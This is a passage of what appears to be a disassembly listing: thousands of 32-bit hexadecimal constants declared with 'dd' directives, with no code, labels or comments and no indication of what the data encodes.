		dd 0CD675F67h, 0B6846D4h, 8C69698Dh, 113EFC14h,	0B15079F0h
		dd 2DB6604Dh, 6F7ED072h, 9C4B21A0h, 0B83A3924h,	55ACF827h
		dd 0E52CD0A7h, 4C7BCEE2h, 55E86023h, 93421527h,	1A67A41Ah
		dd 0FE346DCBh, 8684BED7h, 1B6727EDh, 0A4AFE011h, 0A8ABFDC7h
		dd 50F0B035h, 0AF267E07h, 704E7A64h, 219B1834h,	4587BE66h
		dd 5C4C3F8Ch, 0EB42376Ah, 0DD90A220h, 0A90AD1C7h, 2140DF9Ah
		dd 7435480Bh, 59A7052h,	0BA2BECD4h, 0B8A03162h,	0A26BE05Ch
		dd 0D6A9DF8h, 1C08ACB2h, 0FCE6AE45h, 0C2E9CE49h, 2420DF76h
		dd 25EB23F5h, 0CA978D82h, 2742C557h, 1BE7FD60h,	34FB16Ah
		dd 0CF71C159h, 0F339347Eh, 3D715296h, 0B123D432h, 0F291268Fh
		dd 3E205ADAh, 0B41E2BDh, 0E2FF1311h, 0E9C2D80Bh, 0DFA3A8F2h
		dd 152A2C09h, 59BEA5BFh, 8AA41DE9h, 0FF184B8Dh,	7B3E4A7Ch
		dd 0D331075Ch, 14BEA0C7h, 39794EB4h, 0D4809919h, 163A10BCh
		dd 9C008512h, 89AE02F0h, 5D3E8E93h, 325254B8h, 9F0A1B72h
		dd 0C5B42383h, 22C70B0Ah, 924E49F4h, 28C8FA66h,	5DDAFC8Dh
		dd 60A39181h, 2A7693CFh, 9D9D68A9h, 0F7C65155h,	0A4F4DE19h
		dd 30F6C5E9h, 6F449A54h, 0F9F4003Fh, 0BF6A1DA5h, 0C3669745h
		dd 0E93335D1h, 0E4CF1164h, 0BFCF1B05h, 77753E90h, 1537CC2h
		dd 967312DDh, 27828109h, 0B3691866h, 33FA0B3Eh,	9E0FE0D2h
		dd 0CA661728h, 0F8508811h, 9D2B987Eh, 45162CE9h, 0D14C4C09h
		dd 99893FE0h, 7C401071h, 2E51B8D6h, 39B0F4E0h, 8D4817D3h
		dd 793A8AADh, 93388031h, 1C58FE53h, 0D8006F57h,	0EC9B440Ch
		dd 0FFF441C4h, 8B11E658h, 49DD6010h, 1FEC58B9h,	0AA46E1CFh
		dd 6FF51C70h, 0F3C4D610h, 0A1972DC9h, 1126FF4Ch, 0FE1FF0DAh
		dd 8B8FAAEBh, 8776A64h,	67D3E561h, 3AFF4C14h, 0E7112B4Ah
		dd 0FFF1C05h, 0E5437C31h, 7FFD9611h, 0A7B1325Bh, 6F2CB273h
		dd 0D746D945h, 0EA0FAD04h, 69FD8BF2h, 0A827974Eh, 2433D4BBh
		dd 0A2910048h, 0C05D91C9h, 0ED2796ACh, 737567C1h, 86F68EDh
		dd 0E0A3C67Eh, 0FD8F7FD2h, 0F2D5DE65h, 5E64C44Dh, 0CF0B57A9h
		dd 9727331Ah, 0B5EC37DAh, 0CBBDC3F5h, 971717B0h, 5DEBE99Fh
		dd 0AEE66D53h, 5188044Bh, 0D2E7203Fh, 9B71FB0h,	0DF8D14Fh
		dd 7A846B5Fh, 0F8AEEA7Fh, 0EF775B25h, 411BD8Ah,	0C1C1F871h
		dd 86906FA7h, 899F9Eh, 3663C098h, 0D234AB6Dh, 3FA80178h
		dd 0CC51DEACh, 0BAD6F7B9h, 0FD30B6E0h, 0E12FA45h, 0B2387915h
		dd 858F9AA8h, 51FD75ADh, 551FAAD0h, 24712CF4h, 8E456E26h
		dd 0C99DEBAEh, 886CF41Bh, 0D7EBB142h, 0B0FB6665h, 0AB63F150h
		dd 0C2615E61h, 2AB440E6h, 27B32310h, 11CE74A7h,	5D8D7438h
		dd 356CBA52h, 0B5253100h, 0C97C4C66h, 0F0B5EAB5h, 8B50008Eh
		dd 7DA33271h, 0BAD409E4h, 0AC18B03Eh, 0B46A4ACDh, 0F93BC8A9h
		dd 7EDA0045h, 13B412DBh, 0B424B199h, 0A20E612h,	9D1DA538h
		dd 0D84002F6h, 3AFA1A8Ah, 16FB0DE2h, 74C46F83h,	0E6B6CC51h
		dd 9B3C5D4h, 8BBF2F0Dh,	0A763F2E9h, 96C04AD7h, 0E3BD80FEh
		dd 1233D2E0h, 0C4D29D8Fh, 0F9208E7Fh, 0B4DE79DEh, 0AD33C8AAh
		dd 0FBC72B99h, 0DB9769C8h, 0F0125DADh, 885A56E6h, 98F6FE65h
		dd 6CC88321h, 2A50A6B6h, 0F166B28h, 1F44B1B7h, 411E1E84h
		dd 0A53FCC22h, 363656FCh, 66D01BC9h, 0DC3DFD0Ah, 8BE66221h
		dd 0B4909A4Ch, 0BECF7B1Fh, 6AB6342Dh, 6FC3646Bh, 0BA168738h
		dd 0F40A093Dh, 2F237272h
		dd 765CEF34h, 0C7B0B9F8h, 0C6B0FF6Ch, 0B5B838D9h, 898067A0h
		dd 0CF4EFB1Dh, 0BF97A9CAh, 0A6440EC9h, 0CAA7E916h, 0B24B2A30h
		dd 8DBBEE3h, 0D1944514h, 0CBEA108Dh, 0B886755Fh, 726C1E18h
		dd 0E87A5A08h, 7F07F871h, 0ABB9F37h, 73E0A1B9h,	0F306FEE5h
		dd 177C5B87h, 88D16921h, 761B14E3h, 0A154F316h,	1BC55377h
		dd 8B854F4Fh, 0BE70470Bh, 0C3379E79h, 375460FCh, 9D9CF29Bh
		dd 5A337B50h, 9217F5Dh,	4F953AA8h, 52ABF502h, 5FA9DD03h
		dd 7D1C63B9h, 40497098h, 0FA7CE137h, 30A17513h,	14599061h
		dd 91394F23h, 0E18DF2D2h, 387FEB0Ch, 44AAB8D6h,	29DE3C38h
		dd 70FA3E65h, 0BB423A63h, 6B7BA4E8h, 47FA7A7Fh,	0BCDA6680h
		dd 7B1BF98Ah, 0DEABD7FCh, 69D8F602h, 65C43DD7h,	1BC5C3A7h
		dd 838135F3h, 4DCC72E9h, 0BFC461EDh, 3AC9ED87h,	0C2A3139Bh
		dd 33CEED46h, 0DDE6CD6Ch, 0ACFFCEB1h, 149D3042h, 5E4A7CCCh
		dd 6C0D3850h, 22E752BEh, 44F9547h, 645859E9h, 0BF2C558Bh
		dd 0EA3B7D88h, 13745798h, 40EB42ABh, 304FAEBDh,	3B47F10h
		dd 0EFD059FBh, 2C6AD50Bh, 482921EAh, 0F7C67A20h, 5AACCDC3h
		dd 563CBEF6h, 50DF1847h, 5E0CB986h, 32EB640Eh, 9BE6551Ch
		dd 0D6F6B1D9h, 7EF0CBD9h, 31DC9918h, 1230834Bh,	0DD571E81h
		dd 0BBC47F74h, 6A6E51B3h, 0B1FB197Dh, 0B7D54EC5h, 401CA516h
		dd 0B2291251h, 4B1675EDh, 0ABE0EFC1h, 1E84A9F3h, 0A217392Ch
		dd 1923FB06h, 3B62F8E6h, 6C9046CAh, 0A2661307h,	0F090F928h
		dd 0FD4C46CDh, 18FECE4Ch, 804108FAh, 0ED91BAE5h, 0A3F4E052h
		dd 0ABA8EFD4h, 0AF9DA543h, 76B1B116h, 59283DE0h, 5350C953h
		dd 0AE53488Ah, 0AE723CDh, 45DC77DAh, 70E61B87h,	9B8284B1h
		dd 413F07D9h, 0AB790472h, 25040CB2h, 16BCFA5Bh,	0CDEB562Ch
		dd 5AD30880h, 46BCB849h, 0D2C64433h, 6CBAD48Bh,	13183F5h
		dd 320C48C4h, 1FEB8BDBh, 0FBB2D448h, 3B22B6F8h,	31A92DF8h
		dd 4989C320h, 1F5A6BFFh, 7C97DDFEh, 911C04F2h, 0EC24381Fh
		dd 4ABA2A4Ah, 0E2EF09Bh, 43CC1909h, 82E4E43Ah, 18A58D8Bh
		dd 0F04BF818h, 0EF7CE907h, 7C613E9Bh, 0D8829A12h, 0AD14986Ah
		dd 238C482Eh, 979D680Eh, 8491FF69h, 0C1EF63F2h,	5B0C6165h
		dd 6EB56CC4h, 0F5059086h, 0D8F0D87h, 0EB32A1D6h, 0A2A11E68h
		dd 0EEC422E0h, 0D9AE3242h, 0CDD1F126h, 7E8A4BA0h, 62A7EFFFh
		dd 9024131Eh, 6BD72ECh,	128C6548h, 0F929012Fh, 34EECD25h
		dd 2853E0D0h, 0FFFA4864h, 254414DBh, 11BEE0B8h,	88D3F7F4h
		dd 0B59ADBD6h, 4284A39Dh, 57DC1095h, 4FA4E828h,	6B28B6C1h
		dd 48CF1E70h, 0E18D3711h, 71D90E19h, 712EF44Ch,	3DAF5EC9h
		dd 335EB4FBh, 70C5B6FEh, 0A5CE256Ah, 12CE83E0h,	85EEBE15h
		dd 590F78B4h, 8CEF29ADh, 8582C868h, 1FB007FEh, 0F4D9F44Ch
		dd 0F59AC579h, 0BD7B436Ch, 0EC81B20Bh, 0BBFE04D3h, 6ECDA1FAh
		dd 4AEAB3E2h, 0FF1509Dh, 2CF85C5Bh, 0B9FF608Dh,	28B7C6FAh
		dd 98927955h, 69A6C14Ah, 0F1204E41h, 64080B25h,	8B9EF324h
		dd 791254D3h, 0A19E04CDh, 1157CFE3h, 726E254Dh,	0C08C545Bh
		dd 0D057B88Ah, 0F5DADC90h, 0AA9733C3h, 1F86F9CFh, 63F5425Eh
		dd 0B83C70D1h, 6E6CF69Ah, 0A87A1294h, 0A07886BDh, 70404982h
		dd 0D0FFF962h, 4988DADEh, 0FEBCDA44h, 8E4247B3h, 0A1CEBA72h
		dd 574065F7h, 3A253455h, 99422937h, 2A1F743Ch, 2D238A1Ah
		dd 43852D2h, 32CBDDD8h,	0BE279B23h, 5AE27AE8h, 1650D23Ch
		dd 0B4E2B9CEh, 76B1E17Dh, 2D82FE0Ah, 57AEDFA7h,	555435E4h
		dd 7313E613h, 2515F178h, 0D8639F87h, 72650A1Dh,	0B395CB14h
		dd 738404D7h, 0E4A4EEDCh, 4B1E5C3Bh, 370DDE4Dh,	661CA0BCh
		dd 522CBFA9h, 0F27CE29Ch, 7D8133B1h, 0E181A34Ah, 3DE9A909h
		dd 0D545719Bh, 284C1755h, 0D64DF9Ah, 1B98362Dh,	744559E6h
		dd 616981DAh, 0C77B4090h, 5BB8CB73h, 27C9B324h,	5F48F77Ah
		dd 0D97926E0h, 8F3F08B6h, 9D9217B8h, 43D83040h,	102DC5F8h
		dd 0E4860203h, 0BD6D2043h, 6DB0A7EAh, 6368303Ah, 80D44C72h
		dd 0B7E41BFEh, 8931D3C4h, 7FA6DCC2h, 203AAF5Dh,	636F4B31h
		dd 0C300D2DAh, 0F70BA7AAh, 191269C2h, 0A3BE87Dh, 0CB7805Fh
		dd 271695C3h, 7964D55Bh, 4F9F13E9h, 648106E7h, 0A85293B7h
		dd 0B9F14954h, 0E168876Dh, 334372A8h, 4C9AF5A0h, 0EF9CC33Ah
		dd 0DDCB3ABCh, 4E8C13F9h, 43B21E65h, 381DD34Ch,	0DF2F8F73h
		dd 369D4B91h, 9AE657DCh, 96D48084h, 454E10D5h, 6DD29B73h
		dd 70585478h, 0EA92D5ACh, 18669729h, 6AEBEED9h,	330B77A0h
		dd 43BFEC3Dh, 0C7CC39B9h, 79AA6E27h, 8A85B75Ah,	0FA1380CDh
		dd 8916CADAh, 0E9760B23h, 5D036BF4h, 8BF55837h,	5A6A2F71h
		dd 319C4DEFh, 0F8E17164h, 0ABA8DD3Bh, 99C2308Fh, 7FF54A40h
		dd 0B4CDA0E3h, 0F125809Ch, 627D5BDAh, 6E1023A7h, 345F31D9h
		dd 23D9D150h, 0BF8390Eh, 6898D814h, 0CE43DC7Bh,	0EAE9C960h
		dd 8C3112ABh, 254464F5h, 0E19B5123h, 0BAC7E50Bh, 0D8F8BD9Dh
		dd 0A85E9C61h, 7237EAF1h, 7F887970h, 0D5A1529Ah, 0E6CC4C0Ah
		dd 0D455CE93h, 0C62D91B1h, 0EC914CFCh, 877787FBh, 77EE3C60h
		dd 1B4A10BFh, 3E73D988h, 0ACA7B176h, 0CEFDA614h, 0B403C5F3h
		dd 98DF7A14h, 0E659BC24h, 0EEEA9FEDh, 0CE60F1FEh, 77BAB4CDh
		dd 0AAE59230h, 0C88C7C24h, 6711986Bh, 0BE268B24h, 88727ACh
		dd 3D5B012Bh, 38E8E302h, 0E64329B8h, 0C9C52D0Ch, 49E48395h
		dd 0CE4921CAh, 0EF16628Ch, 28E6B685h, 9F54E84Eh, 8D1BD656h
		dd 0F15716EFh, 0FC3F2AA6h, 32EE2E71h, 3F830E8Eh, 0F19AABAh
		dd 580C0065h, 5E9438BFh, 0E4B3324Bh, 885A72B7h,	7A400675h
		dd 3A53EAF1h, 0A8FC9433h, 41A4790Fh, 0AD7ECDC1h, 65FF3E9Bh
		dd 0A39E382Bh, 1A6E25B8h, 72032429h, 4A78BF6Fh,	55A0AD18h
		dd 35D9D923h, 0ED1AA5C5h, 0CB7C2B94h, 0D178F076h, 0FD29902Dh
		dd 9D133844h, 5C227452h, 1589657h, 91523E97h, 621A8CDFh
		dd 1D142679h, 93D9088Ch, 8D98E15h, 48C93DFFh, 5FCD3320h
		dd 0B6A4CDB0h, 3AB25D22h, 0CA999815h, 204B1BD9h, 0BAB60C63h
		dd 4F5224CEh, 0AE8297A4h, 0B98B9B47h, 87EF9CA3h, 0FCCB1475h
		dd 64B7F2AAh, 0E2575128h, 0E7865EF1h, 0CFC94D01h, 0E1381AFCh
		dd 219C3D96h, 348C1469h, 1DB23537h, 9A9212E4h, 613C1E03h
		dd 1D87C82Bh, 0D82405CFh, 0A7120F03h, 8A752CE5h, 0D9A5497Ch
		dd 643F21C2h, 0E9FFB4EEh, 6384978Ah, 4B97CF71h,	9CBA2A1Bh
		dd 3DDD65A7h, 9CA6F81Ah, 42822697h, 3561B1B5h, 15B2E7ACh
		dd 0F62571E6h, 69EC3399h, 0EA3EF1F4h, 99610097h, 0D55498F0h
		dd 0C00EA73h, 0D54C9073h, 1C184038h, 0AC04CE70h, 7530B6C3h
		dd 5E263FF8h, 0AD47CB7Fh, 154CBFF0h, 8EF1FEF7h,	7F45C29h
		dd 0F7BB74FEh, 7DAE5009h, 29B6EC16h, 7D063BA1h,	0DBE82C5h
		dd 8B2B687Eh, 72602FD6h, 5CB6391Dh, 8672BAE7h, 0B8CA75A5h
		dd 0D4187566h, 4D17C6A9h, 7F4CE930h, 4F3AAFE3h,	24E8DB8Bh
		dd 3B40E7F7h, 0B4BADB2h, 0BD1E39C1h, 7321119Dh,	0AEB33BF7h
		dd 0EE57A6FAh, 6E0898F6h, 0FEE8F4B0h, 0C42F60C9h, 7DC4A77Eh
		dd 95138DC6h, 75500417h, 0ABB8CD57h, 0C438F48Bh, 57B9DFA8h
		dd 0C7F14CCEh, 6D99D80Ah, 6D6931B0h, 1A997CA8h,	13A2AC5Fh
		dd 0BFD6BC88h, 4090482Fh, 7536B099h, 70ADE3C6h,	0FAAC258Eh
		dd 5F77857Eh, 0FE27939Eh, 23DBBD5Eh, 0B6F5BA2Fh, 88B712DAh
		dd 860F2898h, 6AA13C04h
		dd 90507C2Fh, 90CF2A07h, 6125A805h, 808547Ah, 0CF74001Eh
		dd 45955EFCh, 5E518DD4h, 0AFDFC189h, 0EE28BB4Ah, 1BA9013Fh
		dd 0E9AFD076h, 0C1AA7EC5h, 6A7DE715h, 367AADA0h, 6C1D26DAh
		dd 6EC6B007h, 5A976968h, 38D254A5h, 0AC0A617h, 0FB3C82E3h
		dd 0A82215DAh, 5AD18AAh, 0CA0C9071h, 0BCF4DD00h, 0DCF72720h
		dd 0E64516Ah, 51F3B179h, 675C67AAh, 7688AF4Ah, 0F626CBD8h
		dd 72DE60A3h, 415260B0h, 3026278Ch, 0F0C3757h, 130372E3h
		dd 63ABF587h, 75461DCCh, 0F3D37DFFh, 58991E75h,	0A4119B69h
		dd 0DCDF750Fh, 4934B707h, 0EBD1087Dh, 44FDC46Dh, 33F3DBA2h
		dd 6227E4ABh, 89931407h, 9927259Ah, 8D9C8E3Ch, 0D6BBF265h
		dd 0FC7F5AC1h, 8259C748h, 8AE10077h, 165C09F7h,	0EB6A53F9h
		dd 0FB239E7Fh, 8804CE53h, 88464F28h, 86DF99FFh,	0F42A4A13h
		dd 5BBD7B29h, 0E2073B9Ch, 0F41B89DAh, 0FE51A9A8h, 84ECC166h
		dd 310A97FEh, 0BE42B1CCh, 2C9C13BCh, 0BE5D1708h, 34BDF06Dh
		dd 9A1E4044h, 924FD223h, 0DC4EC17Dh, 61D8A2A3h,	0F533504Ah
		dd 8D641A5Ah, 0DBDAFB2Dh, 0FBA9788Bh, 0DA4B0E94h, 0D2EF0906h
		dd 26B920B3h, 6CF6E5FBh, 0CEC1A55Bh, 62108E34h,	0DCD930h
		dd 2E230C6Ah, 0A4F52143h, 0BA4985F6h, 0F6029A26h, 98E39005h
		dd 1B4092CBh, 0CDC0F5B9h, 82932579h, 4CDEB209h,	9E7DA61h
		dd 6FC94254h, 9248CB98h, 0D9FC4C44h, 0CE5310A4h, 4ADEC4B7h
		dd 96416C1Ah, 85F17FFBh, 0BF4CB4C3h, 0CF084EEDh, 55FE90Ah
		dd 3D091B52h, 3E749BAAh, 541AF385h, 8DE6DA94h, 0CCB3C774h
		dd 9D55F70Fh, 61E28FE2h, 82BF5B02h, 0AA765C69h,	0ECF245B4h
		dd 22AB0895h, 0E986D816h, 94603337h, 8DF8B7F8h,	0AA53CF28h
		dd 0D9BF432Dh, 86FA610Bh, 329EF0C0h, 0FFE06457h, 3AFC7A00h
		dd 0AB729DCh, 5B2A1ACFh, 1FCA384Ch, 617F0EA4h, 35A4BA85h
		dd 6661A6F4h, 0A8F0F88Fh, 47BE0D9Fh, 6B031121h,	3985B46Eh
		dd 3DA85C7h, 3FB1988Ah,	1C4180Ch, 5E868180h, 387719D3h
		dd 0FD29B60Fh, 97241DBh, 58620B43h, 8E18B4D3h, 1A767F02h
		dd 58EB074Dh, 69FD0489h, 1FE28B0Ah, 0DB7DC6E4h,	0B46955F7h
		dd 7D00D94Ah, 0CA1C349Eh, 9FA2B075h, 45ADD673h,	97E313DBh
		dd 0E0D92743h, 0CBAE8A14h, 0CC77553Dh, 966803EDh, 8F95B2CEh
		dd 749A1962h, 5D9AEBC6h, 1546A6C9h, 0EEFAD543h,	1D059168h
		dd 0A52779A4h, 0C2F53FAAh, 7455C7E9h, 74FF5501h, 83C8AD72h
		dd 0EDA7ABFh, 44B61CABh, 0CD9F79BEh, 31D849D6h,	6F789207h
		dd 3875DB1Fh, 56C0DBE5h, 3BD422F2h, 0CD7EEBF8h,	48DCBD0Eh
		dd 6E2D562Eh, 5BFCF84h,	0A41839AFh, 538C00BDh, 0F1711374h
		dd 1E850BA7h, 870E1654h, 1F3FF57Dh, 0BD04DD18h,	0E1CFACECh
		dd 8A800208h, 0D3176A7Eh, 7EA8C6BCh, 0DB43AFBh,	78C0E61Dh
		dd 0D0C8EFA8h, 0DFC37053h, 3D3F47CBh, 72FBA02Ch, 4FEE3C0Fh
		dd 0B0E86BA4h, 4E645759h, 0C8F0E77h, 0A5514DD2h, 21C7399h
		dd 0A9BDA862h, 52A12BC8h, 1DBD88E5h, 0E2DBEDE0h, 0F60A80C6h
		dd 342E09C0h, 50D5F3AFh, 0EA00DBD3h, 8E692ABAh,	9B019AA8h
		dd 18F428CEh, 23F2E0E8h, 5AF47EAh, 0A71CEC7Ch, 94A64A04h
		dd 0B2A93DFh, 1A8FA0A0h, 1EC54BE2h, 7D614F87h, 0B023B813h
		dd 6A82F1D9h, 596FEE9Dh, 11901738h, 2872D5E1h, 0A9E89468h
		dd 0A765F1F9h, 0E496030Dh, 3698AAA3h, 9F3C263h,	642758FFh
		dd 7F4EE2B8h, 44F32A8Fh, 0E3AA7330h, 0BFDB4085h, 96A0132Ah
		dd 0AFDC2231h, 4B3D2FD1h, 0F8133708h, 0D73EBCFDh, 0C95523A6h
		dd 0C699905Eh, 0D5833A4Fh, 5761F0C8h, 0A132D376h, 5C7E86F5h
		dd 0AEB49F81h, 0E4EB42E9h, 2A4BFC17h, 0F60DFC74h, 8AB643DCh
		dd 0A21F826Bh, 0D4CC7F25h, 6F7BC890h, 2048967h,	0B02CCA41h
		dd 0E4F6701Fh, 91E9A3BCh, 6B309105h, 68CD31BBh,	0EF7EA868h
		dd 47DFF1EDh, 88503783h, 6E740843h, 6ADA8F37h, 0C1408BE2h
		dd 8C2FEDACh, 3A2E0E53h, 4F473283h, 2FA1D8B1h, 5A86F7E7h
		dd 0AA92CF05h, 0B6B8DF94h, 5B29D7EFh, 0ACC5B03Fh, 0FCF9A7FFh
		dd 0CA34EFFFh, 0F8993FA2h, 47B2FBD8h, 9FFD0A86h, 58007BC7h
		dd 0EC011EC9h, 713D0ABFh, 7A147E15h, 0E84C55D9h, 24A7B102h
		dd 0D5374F1h, 44FAF506h, 5E852AD4h, 8954C728h, 0EEE4C2D5h
		dd 0F0DA80DEh, 1EA803Dh, 93F187E7h, 20E73011h, 0A1C42D14h
		dd 0F4BEC795h, 5A3B418Ch, 23B31689h, 0E3243160h, 42C7D9E4h
		dd 9A27A7C5h, 0E23AD938h, 1D4F4289h, 50E8CC0Ah,	0F62DBB5h
		dd 0AE20C687h, 2B4FFD34h, 75D5FB50h, 0DD8BE817h, 24FB20AEh
		dd 141D6ADFh, 0CC184E19h, 0F92B9428h, 5FF7FB4Eh, 5E3FEB10h
		dd 769A8E97h, 0DFA34AE5h, 0C6EAF1D0h, 85E75CCAh, 0A0241DD3h
		dd 79BBE2D5h, 24B5B400h, 0A63F69ABh, 5B6E7D82h,	30D2C84Dh
		dd 53E5F619h, 70086AAEh, 0C7A9E491h, 6AAA69A1h,	2D93F7Ch
		dd 0B4753606h, 38A3B48Bh, 566AA07Ch, 8C9252F2h,	4793611Ch
		dd 4E502D65h, 0BB3AE48Dh, 0D58717Bh, 58C47651h,	666570AFh
		dd 0B87426Bh, 0CC0CAD8Fh, 9A55345Bh, 232BF433h,	470CD238h
		dd 95F0E353h, 64AA74CBh, 9B20010h, 684DA562h, 0EC2217A5h
		dd 54DB950Eh, 904DD5Dh,	0F3AF8DEFh, 9B0EEECh, 4D194303h
		dd 83AFCD0Dh, 3ABFED6Dh, 0A2E8D8C6h, 1C548B98h,	0CB281C7Bh
		dd 5969C340h, 7A0C9A2Ch, 1A5B0B48h, 4D8F2B2h, 0F60FB4A6h
		dd 40B33F4Bh, 8E1F684h,	0A84830C3h, 437F1967h, 679D6724h
		dd 3A5F4CF5h, 2B95E17Ah, 7D38D96Ch, 1DEBA5AFh, 0A146F2CCh
		dd 0C82D5B60h, 7FE5CF6Bh, 0AEAFFF29h, 9401D1C1h, 4A2CE4C6h
		dd 70E7327h, 0ECD7B256h, 0ADFD6446h, 95241314h,	0FC8E76B6h
		dd 0EF59EC38h, 6C89ADEAh, 12CDC67h, 0E2858CCBh,	9A94F4AEh
		dd 0AC67119Fh, 40890766h, 8B0E170Dh, 0F9012605h, 17067A79h
		dd 0AF376EFFh, 6E5A5284h, 0E03A5DA4h, 976D4B8Ah, 0DAED44F3h
		dd 941C573Bh, 0FC3A284Ch, 9700978h, 50511FA8h, 0B823B60h
		dd 5768D9B6h, 0A3470370h, 7810C090h, 37F7727Fh,	1681F71Dh
		dd 1C59AFEDh, 98119A79h, 827F3DFEh, 1AB37C90h, 27C41635h
		dd 72BBF18Bh, 5C748839h, 40A7A65Bh, 0F1219E54h,	0A173A60Ch
		dd 2AAA38D6h, 0BBC2B08Bh, 1F6A9B6Fh, 37202126h,	65E1AB4Ch
		dd 0D60386Bh, 270F665Bh, 6711BFEh, 85778398h, 0E1B794Dh
		dd 50471B3Eh, 95542D8Ch, 5B5F4AC7h, 5BBC7511h, 0E8A1232h
		dd 84478876h, 3BE326AFh, 0FE09CFE9h, 90B92550h,	0C1662247h
		dd 9FF2D1C3h, 556F6D8Fh, 0D21752DDh, 395473FCh,	122AE373h
		dd 0D47924D9h, 24988235h, 8C4378F7h, 4EDF6317h,	59E94E91h
		dd 0DC044E9Dh, 0EFC84ACFh, 0B95389D2h, 0AE84393Eh, 0A5D91518h
		dd 0E9C4A13Bh, 2508CED3h, 0FE7E5111h, 48EDE05Fh, 53D452BDh
		dd 0B2339CB9h, 0EB07EE76h, 0BED4FA75h, 0E2ED4656h, 6552D118h
		dd 43AF2468h, 4F1B3120h, 0A85C3235h, 0BB38FA9Ah, 8BC7EACh
		dd 0D9C6CCB0h, 27BA084h, 96DE1A6Fh, 76C75E96h, 16B0A645h
		dd 1958699h, 154B022h, 522AA947h, 0AEB2EDA9h, 6DD6F45Ch
		dd 0D5F1B631h, 7ACECE2Fh, 4E528AD4h, 9B5BA6C3h,	51282FBAh
		dd 0ED6B3FC9h, 922669B5h, 3709B6C6h, 0F6822B79h, 0AC52B934h
		dd 0AECD6838h, 0E53E0D18h, 4B5DE666h, 0FFA7EBBAh, 582AA0DBh
		dd 68308DB9h, 778D0C52h, 35D6F860h, 85C3064Eh, 84A1344Ah
		dd 68B146F2h, 2952BF82h, 5F3F36C5h, 0B678A6FFh,	82DA1AFAh
		dd 53D20A2Bh, 0F1F7A364h
		dd 0DB94E2AFh, 6780502h, 1219C9F0h, 0B7986D65h,	6B15AB94h
		dd 2FD007D9h, 0BBCC436h, 16C21A59h, 47CF1E29h, 0E7337860h
		dd 0D913D4D7h, 880D807Ah, 0C24AF92Dh, 2E2FB514h, 7AECCB95h
		dd 119AE735h, 0FF498033h, 81A9DDC3h, 533FB023h,	0D13C936Ah
		dd 9F611D54h, 1D5741B3h, 0B369D252h, 59655894h,	9F66BEE7h
		dd 0D6BDD71Ah, 1D8F5CDAh, 41B9AF92h, 899F922h, 0A0C13A7Ah
		dd 4BBA7E70h, 0A2B4DFCBh, 8F1D04A0h, 49FD240Ch,	0AD9C4195h
		dd 0BC1BA11Eh, 39512900h, 2E8EBDC0h, 22D13E07h,	7DCCA5DFh
		dd 2C4C168Eh, 0CE28E4Fh, 0DC05CC73h, 0A2D8C2E7h, 0F0B6A421h
		dd 209A0558h, 9B9DBBCFh, 3A906700h, 76123C3Eh, 8F275CAEh
		dd 26D4630Ch, 4D48570Ch, 0E0D62059h, 360AD011h,	0AFACE2F0h
		dd 95300AD9h, 8C3C43DEh, 0BB69EB3h, 5F334832h, 0C6D03E8Eh
		dd 863A7F6Fh, 163131B2h, 2B540A6Ah, 0A763D10Bh,	0BE514C18h
		dd 4B5E8FBh, 807DE082h,	499504BFh, 0C52C6657h, 0DE04D195h
		dd 0E3CB5F3Ah, 0F79AE875h, 0E4A6B014h, 17730CB8h, 7265089Fh
		dd 0C5C9B7A1h, 0DD10E897h, 0ABF0019Fh, 0BC9947EBh, 0D4CC1A72h
		dd 8E1B8171h, 9090602Eh, 0E0AE557Dh, 0C775AAA3h, 42A0068Ah
		dd 0EAE2968Dh, 0ADCB5D9h, 0C3FE68E4h, 0ABEA6E2Ah, 9C9A610Dh
		dd 2819F449h, 0DB6FB23Eh, 7570E2FCh, 0F6E3F8EDh, 0B2554816h
		dd 630EEE55h, 20DEED7Ch, 221CA01Ah, 0EA552EBBh,	79B1F0D2h
		dd 9E4C453Fh, 60B3765Fh, 6B8B717Ah, 2DDDD544h, 7F1E7B90h
		dd 90FE1D22h, 9A1B8073h, 5A940F02h, 93081E1Fh, 0A6D3B91Bh
		dd 0EEDD3071h, 1F3F52A7h, 24BA0B28h, 8A996ED9h,	0F489AE6Bh
		dd 0F7BB0666h, 444BE5E7h, 81F0B9A7h, 2D124B0Ch,	1772B9ACh
		dd 0E2D4918Bh, 0B2AF7548h, 0D53018EBh, 545BA311h, 0E0050DB1h
		dd 0AD04D462h, 0A3D77700h, 0C5EC7D20h, 0FA142387h, 0F8609CADh
		dd 18E0FB6Fh, 0D2C0A070h, 9E78B7D3h, 0D44FA132h, 0E370E9B2h
		dd 46D25A2Ah, 774CB3F5h, 0C6173CCFh, 1DD22064h,	1DDBC0AAh
		dd 4F7BA50Ch, 84AE5258h, 535771BBh, 0BC365AFh, 0D2CB229Fh
		dd 29980FCCh, 0B15C5BCh, 1F678C5Bh, 16B22A05h, 6D3275BDh
		dd 418E2743h, 99B75011h, 0CB488B55h, 2A4049AAh,	0C4DDE163h
		dd 0EA846097h, 0D5955278h, 0A77DC545h, 0A13604AFh, 3C46C38Eh
		dd 0A34E2B55h, 9678D1EAh, 0DAF276CDh, 836CC379h, 8286463Bh
		dd 692A8622h, 0B9057FA3h, 8F5FE2A6h, 4B94F1E7h,	2CA09F4Ch
		dd 0C0A3F2ACh, 9356AE41h, 1B5DF465h, 1113A1A9h,	0CA82E242h
		dd 635CC528h, 0C2B8CFC7h, 155BCDEDh, 23C8B01Dh,	5C87B020h
		dd 0B96888F3h, 5AEFF882h, 0FE3D12E2h, 3AFE0EBDh, 0C15F437Fh
		dd 7AF1AC2Ch, 8ADD19F9h, 904E085Fh, 7290236Fh, 0F3ABDB7Ah
		dd 0B48AD762h, 64BEAEABh, 44507D90h, 0BB4C8F73h, 67D05964h
		dd 0AC9C567Bh, 0F72792FCh, 113EDE1Dh, 0BC12424Ah, 9DC531FAh
		dd 7AC498DBh, 1FF722C4h, 69A6DC6Ah, 1E61E3A0h, 0B7680960h
		dd 0D4857D11h, 0A648357Eh, 3741462Dh, 642C862Fh, 2853908Ah
		dd 0EC2496D2h, 30126232h, 259DD27Ch, 48994FBh, 812480C5h
		dd 273B542Ah, 3DEEBEB1h, 0F054D61Eh, 50445DE6h,	234B168Bh
		dd 0B1513C54h, 0C0D285DEh, 0DA1605EEh, 0C5F348C6h, 29730E6Fh
		dd 7CE36BF8h, 8102BF70h, 0B454297Dh, 0BC19F0DCh, 701918CBh
		dd 5C8A186Bh, 3FDE1C45h, 5AB50AD7h, 63C9F12Fh, 0D2556393h
		dd 0CA028F17h, 0D066BD8h, 0B623CAA9h, 0AF21F6C3h, 2677E3E7h
		dd 0C8CB0F65h, 52F9175Fh, 9984B792h, 92472605h,	0A56995B6h
